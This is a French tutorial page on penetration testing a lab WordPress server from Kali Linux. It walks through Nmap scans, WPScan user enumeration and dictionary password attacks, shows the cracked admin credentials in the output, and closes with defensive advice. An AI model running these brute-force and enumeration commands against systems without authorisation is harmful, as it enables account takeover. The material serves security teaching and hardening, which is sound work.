GNU/Linux >> Tutoriels Linux >  >> Linux

Pen test avec les outils de sécurité Linux

La multitude d'infractions bien connues des grandes entreprises de consommation souligne l'importance cruciale de la gestion de la sécurité du système. Heureusement, il existe de nombreuses applications différentes qui aident à sécuriser les systèmes informatiques. L'un est Kali, une distribution Linux développée pour les tests de sécurité et de pénétration. Cet article montre comment utiliser Kali Linux pour enquêter sur votre système afin de trouver des faiblesses.

Kali installe de nombreux outils, tous open source, et les installer par défaut facilite les choses.

Les systèmes que je vais utiliser dans ce tutoriel sont :

  1. kali.usersys.redhat.com :C'est le système où je vais lancer les scans et les attaques. Il dispose de 30 Go de mémoire et de six processeurs virtualisés (vCPU).
  2. vulnerable.usersys.redhat.com :C'est un système Red Hat Enterprise Linux 8 qui sera la cible. Il dispose de 16 Go de mémoire et de six vCPU. Il s'agit d'un système relativement à jour, mais certains packages peuvent être obsolètes.
  3. Ce système inclut également httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 , mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64 , tigervnc-server-1.9.0-15.el8_1.x86_64 , vsftpd-3.0.3-32.el8.x86_64 , et WordPress version 5.6.1.

J'ai inclus les spécifications matérielles ci-dessus car certaines de ces tâches sont assez exigeantes, en particulier pour le processeur du système cible lors de l'exécution de WordPress Security Scanner (WPScan).

Inspectez votre système

J'ai commencé mon enquête avec une analyse Nmap de base sur mon système cible. (Vous pouvez plonger plus profondément dans Nmap en lisant Utiliser les résultats de Nmap pour renforcer les systèmes Linux.) Une analyse Nmap est un moyen rapide d'obtenir un aperçu des ports et des services visibles depuis le système qui lance l'analyse Nmap.

Cette analyse par défaut montre qu'il existe plusieurs ports ouverts potentiellement intéressants. En réalité, tout port ouvert est peut-être intéressant car il pourrait être un moyen pour un attaquant de pénétrer dans votre réseau. Dans cet exemple, les ports 21, 22, 80 et 443 sont agréables à analyser car ce sont des services couramment utilisés. À ce stade précoce, je fais simplement un travail de reconnaissance et j'essaie d'obtenir autant d'informations que possible sur le système cible.

Je veux enquêter sur le port 80 avec Nmap, j'utilise donc le -p 80 argument pour regarder le port 80 et -A pour obtenir des informations telles que le système d'exploitation et la version de l'application.

Certaines des lignes clés de cette sortie sont :

PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Puisque je sais maintenant qu'il s'agit d'un serveur WordPress, je peux utiliser WPScan pour obtenir des informations sur les faiblesses potentielles. Une bonne enquête à mener consiste à essayer de trouver des noms d'utilisateur. Utiliser --enumerate u indique à WPScan de rechercher des utilisateurs dans l'instance WordPress. Par exemple :

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021

Interesting Finding(s):
...
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] pgervase
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

Cela montre qu'il y a deux utilisateurs :admin et pgervase . Je vais essayer de deviner le mot de passe pour admin en utilisant un dictionnaire de mots de passe, qui est un fichier texte avec de nombreux mots de passe possibles. Le dictionnaire que j'ai utilisé était 37G et avait 3 543 076 137 lignes.

Comme il existe plusieurs éditeurs de texte, navigateurs Web et autres applications parmi lesquelles vous pouvez choisir, il existe plusieurs outils disponibles pour lancer des attaques par mot de passe. Voici deux exemples de commandes utilisant Nmap et WPScan :

# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Ce script Nmap est l'un des nombreux scripts possibles que j'aurais pu utiliser, et la numérisation de l'URL avec WPScan n'est qu'une des nombreuses tâches possibles que cet outil peut effectuer. Vous pouvez décider lequel vous préférez utiliser

Cet exemple WPScan affiche le mot de passe à la fin du fichier :

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
[SUCCESS] - admin / redhat                                                                                                                                                                      

[!] Valid Combinations Found:
 | Username: admin, Password: redhat

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02

La section Combinaisons valides trouvées vers la fin contient le nom d'utilisateur et le mot de passe de l'administrateur. Il n'a fallu que deux minutes pour parcourir 3 231 lignes.

J'ai un autre fichier de dictionnaire avec 3 238 659 984 entrées uniques, ce qui prendrait beaucoup plus de temps et laisserait beaucoup plus de preuves.

L'utilisation de Nmap produit un résultat beaucoup plus rapidement :

┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat - Valid credentials              <<<<<<<
|       pgervase:redhat - Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Cependant, exécuter une analyse comme celle-ci peut laisser un flot de messages de journalisation HTTPD sur le système cible :

10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"

Pour obtenir des informations sur le serveur HTTPS trouvé lors de mon analyse initiale de Nmap, j'ai utilisé le sslscan commande :

┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Cela affiche des informations sur les protocoles SSL activés et, plus bas dans la sortie, des informations sur la vulnérabilité Heartbleed :

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Conseils pour prévenir ou atténuer les attaquants

Plus de ressources Linux

  • Aide-mémoire des commandes Linux
  • Aide-mémoire des commandes Linux avancées
  • Cours en ligne gratuit :Présentation technique de RHEL
  • Aide-mémoire sur le réseau Linux
  • Aide-mémoire SELinux
  • Aide-mémoire sur les commandes courantes de Linux
  • Que sont les conteneurs Linux ?
  • Nos derniers articles Linux

Il existe de nombreuses façons de défendre vos systèmes contre la multitude d'attaquants. Voici quelques points clés :

  • Connaissez vos systèmes : Cela inclut de savoir quels ports sont ouverts, quels ports devraient être ouverts, qui devrait pouvoir voir ces ports ouverts et quel est le trafic attendu sur ces services. Nmap est un excellent outil pour en savoir plus sur les systèmes du réseau.
  • Utilisez les meilleures pratiques actuelles : Ce qui est considéré comme une pratique exemplaire aujourd'hui pourrait ne pas l'être à l'avenir. En tant qu'administrateur, il est important de se tenir au courant des tendances dans le domaine de la sécurité informatique.
  • Savoir utiliser vos produits : Par exemple, plutôt que de laisser un attaquant marteler continuellement votre système WordPress, bloquez son adresse IP et limitez le nombre de tentatives de connexion avant d'être bloqué. Le blocage de l'adresse IP peut ne pas être aussi utile dans le monde réel, car les attaquants sont susceptibles d'utiliser des systèmes compromis pour lancer des attaques. Cependant, il s'agit d'un paramètre facile à activer et qui pourrait bloquer certaines attaques.
  • Maintenir et vérifier de bonnes sauvegardes : Si un attaquant comprend un ou plusieurs de vos systèmes, la possibilité de reconstruire à partir de sauvegardes fiables et propres peut vous faire gagner beaucoup de temps et d'argent.
  • Vérifiez vos journaux : Comme le montrent les exemples ci-dessus, les commandes d'analyse et de pénétration peuvent laisser de nombreux journaux indiquant qu'un attaquant cible le système. Si vous les remarquez, vous pouvez prendre des mesures préventives pour atténuer le risque.
  • Mettez à jour vos systèmes, leurs applications et tout module supplémentaire : Comme l'explique la publication spéciale 800-40r3 du NIST, "les correctifs sont généralement le moyen le plus efficace d'atténuer les vulnérabilités des défauts logiciels et sont souvent la seule solution entièrement efficace".
  • Utilisez les outils fournis par vos fournisseurs : Les fournisseurs disposent de différents outils pour vous aider à maintenir leurs systèmes, alors assurez-vous d'en tirer parti. Par exemple, Red Hat Insights, inclus dans les abonnements Red Hat Enterprise Linux, peut vous aider à optimiser vos systèmes et vous alerter des menaces de sécurité potentielles.

En savoir plus

Cette introduction aux outils de sécurité et à leur utilisation n'est que la pointe de l'iceberg. Pour approfondir, vous pouvez consulter les ressources suivantes :

  • Armitage, un outil open source de gestion des attaques
  • Centre de sécurité des produits Red Hat
  • Canal de sécurité Red Hat
  • Page Cybersécurité du NIST
  • Utiliser les résultats de Nmap pour aider à renforcer les systèmes Linux

Linux
  1. Surveillez votre système Linux dans votre terminal avec procps-ng

  2. Analysez votre sécurité Linux avec Lynis

  3. Distributions Linux populaires pour les tests de sécurité

  4. Commande d'arrêt Linux (avec exemples)

  5. Outils d'overclocking sous Linux

Apprendre LVM sur Linux avec des outils graphiques

Comment auditer un système Linux distant avec Lynis Security Tool

Audit de sécurité Linux avec Lynis

Commande de disponibilité Linux avec exemples

Premiers pas avec le système d'exploitation Linux

Audit de sécurité avec Lynis